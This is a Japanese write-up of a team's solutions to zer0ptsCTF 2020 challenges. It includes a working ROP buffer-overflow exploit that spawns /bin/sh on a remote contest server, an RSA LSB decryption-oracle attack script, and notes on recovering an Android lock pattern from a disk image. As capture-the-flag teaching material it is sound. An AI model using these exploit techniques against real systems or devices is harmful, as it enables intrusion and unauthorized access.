zer0ptsCTF2020 writeup
- はじめに
- [crypto] ROR
- [crypto] diysig
- [forensics] Locked KitKat
- [pwn] hipwn
- [reversing] QRPuzzle
- [reversing] vmlog
- [reversing] easy strcmp
- [reversing] wysinsyg
はじめに
zer0ptsCTF 2020に参加しました.自分たちStarrySkyは何とか26位につくことができました.
自分はheap問が解けないためpwnはダメダメで,もっとちゃんとするべきだと感じました.
以下自分が解いた問題のwriteupを書いていきます.
[crypto] ROR
- chall.py
- chall.txt
暗号化スクリプトと暗号化されたフラグが渡されます.
暗号化スクリプトを見ると,どうやらフラグの下位数ビットを後ろに持って行って暗号化という操作をフラグのビット長だけ行い,それ毎に出力しているという感じでした.
例えばフラグが0b00110101の時,0b00110101を暗号化,0b10011010を暗号化,0b01001101を暗号化,……,0b01101010を暗号化といった具合です.
また暗号化関数がで,の形で表せるため,暗号化しても最下位ビットは保存されます.
よってchall.txtの暗号文の最下位ビットを見ていくことでflagが手に入ります.
そるばどぺー
import re def decodeM(m): s = hex(m)[2:] l = [] if (len(s) & 1): l.append(chr(int(s[0], 16))) s = s[1:] ss = re.split("(..)", s)[1::2] for i in ss: l.append(chr(int(i, 16))) return "".join(l) f = open("./chall.txt", "r") line = f.readline() flag = "" while line: x = int(line.strip()) flag = str(x & 1) + flag line = f.readline() flag = int(flag, 2) print(decodeM(flag)) f.close()
zer0pts{0h_1t_l34ks_th3_l34st_s1gn1f1c4nt_b1t}
[crypto] diysig
I made a cipher-signature system by myself.
- diysig.py
- server.py
- chall.txt
暗号化されたフラグとそのシグネチャっぽいものが与えられます.またサーバではどうやらRSA暗号周りの処理が動いているようです.
Public Key Disclosureを選択すれば公開鍵が入手でき,これは一定です.またVerify Encrypted Messageにより,好きな暗号文の平文のシグネチャを手に入れることができました.
シグネチャを計算するコード_hash(m)を読んでみると元の数の最下位ビットは保存されたままになっていることがわかり,LSB Decryption Oracle Attackによりフラグを復号できることがわかりました.
1024回ほどncでつなぐのでブルートフォース扱いされないか少し怖かったですが全く問題ありませんでした良かった.
そるばどぺー
from pwn import * from fractions import Fraction def getLSB(c): r = remote("18.179.178.246", 3001) r.sendline("2") r.sendline(hex(c)[2:]) r.sendline("58cfe4f1") r.recvuntil("!= ") sig = int(r.recvline(), 16) print(hex(sig)) r.close() return sig & 1 n = 0x6d70b5a586fcc4135f0c590e470c8d6758ce47ce88263ff4d4cf49163457c71e944e9da2b20c2ccb0936360f12c07df7e7e80cd1f38f2c449aad8adaa5c6e3d51f15878f456ceee4f61547302960d9d6a5bdfad136ed0eb7691358d36ae93aeb300c260e512faefe5cc0f41c546b959082b4714f05339621b225608da849c30f e = 0x10001 c = 0x3cfa0e6ea76e899f86f9a8b50fd6e76731ca5528d59f074491ef7a6271513b2f202f4777f48a349944746e97b9e8a4521a52c86ef20e9ea354c0261ed7d73fc4ce5002c45e7b0481bb8cbe6ce1f9ef8228351dd7daa13ccc1e3febd11e8df1a99303fd2a2f789772f64cbdb847d6544393e53eee20f3076d6cdb484094ceb5c1 def lsbdec(c): bounds = [0, Fraction(n)] i = 0 while True: print(i) i += 1 c2 = (c * pow(2, e, n)) % n lsb = getLSB(c2) print("lsb = {}".format(lsb)) if lsb == 1: bounds[0] = sum(bounds)/2 else: bounds[1] = sum(bounds)/2 diff = bounds[1] - bounds[0] diff = diff.numerator // diff.denominator if diff == 0: m = bounds[1].numerator // bounds[1].denominator return m c = c2 def decodeM(m): s = hex(m)[2:] l = [] if (len(s) & 1): l.append(chr(int(s[0], 16))) s = s[1:] ss = re.split("(..)", s)[1::2] for i in ss: l.append(chr(int(i, 16))) return "".join(l) print(len(bin(c)) - 2) m = lsbdec(c) print(decodeM(m))
zer0pts{n3v3r_r3v34l_7h3_LSB}
[forensics] Locked KitKat
We've extracted the internal disk from the Android device of the suspect. Can you find the pattern to unlock the device? Please submit the correct pattern here.
androidのイメージが渡されます.また問題文に書いてあるサイトに飛ぶとandroidのロック画面にある,パターンでログインする画面が表示されていました.
androidのイメージからログインパスワードのパターンを割り出したいのでとりあえずマウントします.
$ sudo mount -o loop android.4.4.x86.img /mnt/mymnt $ cd /mnt/mymnt/system
androidのパターンのパスワードは/system/gesture.keyに保存されています.guesture.keyからパスワードを求めるのはandrillerを使いました.
zer0pts{n0th1ng_1s_m0r3_pr4ct1c4l_th4n_brut3_f0rc1ng}
[pwn] hipwn
Hi, all pwners over the world!
- chall
- main.c
バイナリを動かしてみるとbofができます.普通にropすれば大丈夫そうです.
libcがありませんがraxやrdiにいい感じに値を代入してsyscallすればexecve("/bin/sh", NULL, NULL)が呼べます.
そるばどぺー
from pwn import * import sys offset = 264 data_section = 0x604020 xor_eax_eax = 0x004023f7 mov_rsi_r12__syscall = 0x0040247a pop_r12 = 0x0040245d pop_rdx = 0x004023f5 pop_rax = 0x00400121 mov_qprdi_rax = 0x00400704 pop_rdi = 0x0040141c if len(sys.argv) == 1: r = process("./chall") log.info("pid = {}".format(r.pid)) else: r = remote("13.231.207.73", 9010) sleep(5) # execve("/bin/sh", NULL, NULL) payload = b"A" * offset # rdi = "/bin/sh" payload += p64(pop_rdi) payload += p64(data_section) payload += p64(pop_rax) payload += b"/bin/sh\x00" payload += p64(mov_qprdi_rax) # rdx = 0 payload += p64(pop_rdx) payload += p64(0) # rax = 59 payload += p64(pop_rax) payload += p64(59) # rsi = 0, syscall payload += p64(pop_r12) payload += p64(0) payload += p64(mov_rsi_r12__syscall) r.sendline(payload) r.interactive()
フラグは忘れちゃいました.
[reversing] QRPuzzle
This puzzle is a puzzling puzzle.
- chall
- key
- encrypted.qr
暗号化されたQRコードらしき文字列とその暗号化バイナリが渡されます.keyを受け取って暗号化したことが想像できます.
challの大まかな処理の流れは,read_QR->read_Key->encrypt->save_QRみたいな感じ(関数名は適当)でした.QRの読み込みも出力もおそらく二次元配列で管理してるであろうと予測してread_Keyとencryptのみ解析しました.
keyファイルにはx#(a,b)の形の行がたくさんあり,xは3以下のものしかありませんでした.またread_Keyはkeyファイルを一行ずつ読み取り,逐次何やら処理を行っていました.
keyの読み取りにはfscanf("%d#(%d,%d)", ...)が使われ,代入先を考えると
typedef struct { int a; int b; int x; } KEY; KEY keys[keylen]; }
みたいに管理された配列に代入されているとわかりました.
encryptではkeysを順番に次のような処理をしていました.(多分)
abuf = a, bbuf = b; switch(x) { case 0: a--; break; case 1: a++; break; case 2: b--; break; case 3: b++; break; } QR[a][abuf] += QR[b][a]; QR[b][a] = QR[a][abuf] - QR[b][a]; QR[a][abuf] -= QR[b][a];
要素の交換っぽいので同じ操作で元の状態に戻すことができ,encryptではkeyを上から順番に処理していたので,復号にはkeyを下から順番に処理させれば大丈夫です.
よってkeyを上下逆順にしたものをdeckeyと名付け
$ ./chall encrypted.qr deckey out
という風にやれば元のQRコードがoutに出力されます.これをstrong-qr-decoderで復号するとフラグが手に入ります.
zer0pts{puzzl3puzzl3}
[reversing] vmlog
I wrote my vm and its program. Can you guess the source code and input?
- vm.py
- log.txt
vm.pyの処理を追いかけて入力を逆算すればいいです.元の難解言語っぽい物を何度も読むのは大変なので次のようなコードに頑張って直しました.
mem = [4611686018427387903, 247905749270528, 28629151, 0, 1, 0, 0, 0, 0, 0] reg = mem[4] while reg != 0: print(mem) mem[4] -= 1 reg = mem[2] a = input() if not a: reg = 0 else: reg += ord(a) while reg != 0: mem[2] = (reg * mem[1]) % mem[0] mem[3] = mem[4] mem[4] += 1 reg = mem[3] reg = mem[4] print(mem[2])
log.txtではループでのmemの状態を見ることができるので入力のaを逆算できそうです.
そるばどぺー
mems = [ [4611686018427387903, 247905749270528, 28629151, 0, 1, 0, 0, 0, 0, 0], [4611686018427387903, 247905749270528, 4588277794174371330, 0, 1, 0, 0, 0, 0, 0], [4611686018427387903, 247905749270528, 4557362566608270193, 0, 1, 0, 0, 0, 0, 0], [4611686018427387903, 247905749270528, 4597225827500493308, 0, 1, 0, 0, 0, 0, 0], [4611686018427387903, 247905749270528, 4399455111035409631, 0, 1, 0, 0, 0, 0, 0], [4611686018427387903, 247905749270528, 3664679811648746944, 0, 1, 0, 0, 0, 0, 0], [4611686018427387903, 247905749270528, 1822527803964528750, 0, 1, 0, 0, 0, 0, 0], [4611686018427387903, 247905749270528, 2107290073593614393, 0, 1, 0, 0, 0, 0, 0], [4611686018427387903, 247905749270528, 103104307719214561, 0, 1, 0, 0, 0, 0, 0], [4611686018427387903, 247905749270528, 3773217954610171964, 0, 1, 0, 0, 0, 0, 0], [4611686018427387903, 247905749270528, 1852072839260827083, 0, 1, 0, 0, 0, 0, 0], [4611686018427387903, 247905749270528, 3465871536121230779, 0, 1, 0, 0, 0, 0, 0], [4611686018427387903, 247905749270528, 223194874355517702, 0, 1, 0, 0, 0, 0, 0], [4611686018427387903, 247905749270528, 1454204952931951837, 0, 1, 0, 0, 0, 0, 0], [4611686018427387903, 247905749270528, 3030456872916287478, 0, 1, 0, 0, 0, 0, 0], [4611686018427387903, 247905749270528, 426011771323652532, 0, 1, 0, 0, 0, 0, 0], [4611686018427387903, 247905749270528, 1276028785627724173, 0, 1, 0, 0, 0, 0, 0], [4611686018427387903, 247905749270528, 1962653697352394735, 0, 1, 0, 0, 0, 0, 0], [4611686018427387903, 247905749270528, 1600956848133034570, 0, 1, 0, 0, 0, 0, 0], [4611686018427387903, 247905749270528, 2045579747554458289, 0, 1, 0, 0, 0, 0, 0], [4611686018427387903, 247905749270528, 4248193240456187641, 0, 1, 0, 0, 0, 0, 0], [4611686018427387903, 247905749270528, 4478689482975263576, 0, 1, 0, 0, 0, 0, 0], [4611686018427387903, 247905749270528, 1235692576284114044, 0, 1, 0, 0, 0, 0, 0], [4611686018427387903, 247905749270528, 2579703272274331094, 0, 1, 0, 0, 0, 0, 0], [4611686018427387903, 247905749270528, 1394874119223018380, 0, 1, 0, 0, 0, 0, 0], [4611686018427387903, 247905749270528, 4275420194958799226, 0, 1, 0, 0, 0, 0, 0], [4611686018427387903, 247905749270528, 2401030954359721279, 0, 1, 0, 0, 0, 0, 0], [4611686018427387903, 247905749270528, 1313700932660640339, 0, 1, 0, 0, 0, 0, 0], [4611686018427387903, 247905749270528, 2401701271938149070, 0, 1, 0, 0, 0, 0, 0], [4611686018427387903, 247905749270528, 4217153612451355368, 0, 1, 0, 0, 0, 0, 0], [4611686018427387903, 247905749270528, 2389747163516760623, 0, 1, 0, 0, 0, 0, 0], [4611686018427387903, 247905749270528, 3483955087661197897, 0, 1, 0, 0, 0, 0, 0], [4611686018427387903, 247905749270528, 4522489230881850831, 0, 1, 0, 0, 0, 0, 0]] chs = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!#$%&\()+,-./:;<=>?@^_`{|}~" flag = "" for i in range(1, len(mems)): mem = mems[i] for ch in chs: reg = mems[i - 1][2] + ord(ch) if (reg * mem[1]) % mem[0] == mem[2]: flag += chr(reg - mems[i - 1][2]) print("flag = {}".format(flag))
zer0pts{3asy_t0_f0110w_th3_l0g?}
一文字ずつ同定していって徐々に構築されるの見るのすこ.
[reversing] easy strcmp
Do you know how relocation works?
- chall
引数にフラグをセットして合ってるか確認してくれるタイプのバイナリです.
ltraceで追ってみるとstrcmp(argv[1], "zer0pts{********CENSORED********}")みたいな処理をしていたのにも関わらずzer0pts{********CENSORED********}を引数として与えてもWrong!と言われてしまいます.
gdbで追いかけてみるとstrcmpが呼び出せれる前に第一引数に対して細工をしstrcmpが呼び出されるようになってました.頑張ってradare2で追いかけると,第一引数と0x201060から始まるバイト列をを8バイトで区切り差を取っていることがわかりました.
つまり,zer0pts{********CENSORED********}と0x201060から始まるバイト列を8バイトごとに区切って足し算すればフラグを求めることができます.
そるばどぺー
import binascii chs = b"\x00\x00\x00\x00\x00\x00\x00\x00\x42\x09\x4a\x49\x35\x43\x0a\x41\xf0\x19\xe6\x0b\xf5\xf2\x0e\x0b\x2b\x28\x35\x4a\x06\x3a\x0a\x4f" chs = [chs[i: i+8] for i in range(0, len(chs), 8)] badflag = b"zer0pts{********CENSORED********}" badflag = [badflag[i: i+8] for i in range(0, len(badflag), 8)] flag = b"" for i in range(len(chs)): x = int.from_bytes(chs[i], "little") x += int.from_bytes(badflag[i], "little") x &= 0xffffffffffffffff flag += x.to_bytes(8, "little") print(flag) flag += b"}" print(flag)
zer0pts{l3ts_m4k3_4_DETOUR_t0d3y}
[reversing] wysinsyg
Do you know how ptrace works?
- wysinsyg
与えられたバイナリは小プロセスを起動しシステムコールをトラップしてなんか色々やるもので,小プロセスは第一引数を表示するみたいな処理をやっていました.親プロセスは小プロセスがwriteシステムコールを発行するときptrace(PTRACE_PEEKDATA, child, 0, regs)みたいな処理をしていました.画面への表示はwriteシステムコールで行うため,小プロセスが第一引数を表示するときに行われることが予想できます.
そのため,親プロセスをgdbで追いかけていきます.gdbでのset follow-fork-mode parentはやっておいたほうがいいです.
gdbで見ていくと案の定,小プロセスが第一引数を表示するときに怪しい処理を行っていました.しかし途中でネストが非常に深い関数に遭遇し大変そうだったたのでradare2で真相を探っていきます.
例のネストが深いコードをradare2で解析すると次のようなpythonのコードに直すことができました.
def cal(a): if a == 0: retirm 0 b = 0x5beb c = 0x8bae6fa3 res = 1 for i in range(b): res = (c + (res * (a % c)) % c) % c return res
これが再帰で行われていたためやばい処理にみえたことは納得です.
またもう少し解析を進めると,第一引数に与えた文字列の各文字をcal()で計算した結果が0x202020から始まるバイト列と一致すればよいことがわかります.cal()を計算するのはちょっと時間がかかったので前計算をして置き,次のようなコードでフラグを逆算できました.
import sys import struct def cal(a): if a == 0: return 0 b = 0x5beb c = 0x8bae6fa3 res = 1 for i in range(b): res = (c + (res * (a % c)) % c) % c return res flags = "38 01 40 1a 00 00 00 00 67 b8 9a 27 00 00 00 00 69 29 7d 17 00 00 00 00 f5 46 6e 0e 00 00 00 00 f8 21 26 51 00 00 00 00 73 ce 96 2e 00 00 00 00 96 b4 84 04 00 00 00 00 6e 4f 41 73 00 00 00 00 96 b4 84 04 00 00 00 00 e9 74 c2 01 00 00 00 00 96 b4 84 04 00 00 00 00 62 c7 7d 63 00 00 00 00 4a 7a 14 15 00 00 00 00 5e 89 e9 1f 00 00 00 00 5e 89 e9 1f 00 00 00 00 eb 01 2b 86 00 00 00 00 cd 06 5a 77 00 00 00 00 f5 46 6e 0e 00 00 00 00 f5 46 6e 0e 00 00 00 00 66 24 6a 3e 00 00 00 00 6d ab 00 03 00 00 00 00 12 cc 67 5a 00 00 00 00 01 7e 16 34 00 00 00 00 eb 01 2b 86 00 00 00 00 6d ab 00 03 00 00 00 00 96 b4 84 04 00 00 00 00 eb 01 2b 86 00 00 00 00 6d ab 00 03 00 00 00 00 4d da ef 11 00 00 00 00 f8 21 26 51 00 00 00 00 f5 46 6e 0e 00 00 00 00 69 29 7d 17 00 00 00 00 73 ce 96 2e 00 00 00 00 4a 7a 14 15 00 00 00 00 12 cc 67 5a 00 00 00 00 73 ce 96 2e 00 00 00 00 4d 14 80 78 00 00 00 00 6b ed 69 5a 00 00 00 00".split() flags = [flags[i:i+8] for i in range(0,len(flags) - 1,8)] for i in range(len(flags)): flags[i] = "".join(flags[i]) flags[i] = int(flags[i], 16) flags[i] = struct.unpack(">Q",struct.pack("<Q",flags[i]))[0] chs = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_{}" cals = [] for i in chs: print("chs append... {}".format(i)) cals.append(cal(ord(i))) flag = "" for f in flags: x = len(chs) - 1 for idx in range(len(cals)): if cals[idx] == f: x = idx break flag = flag + chs[x] print(flag)
zer0pts{sysc4ll_h00k1ng_1s_1mp0rt4nt}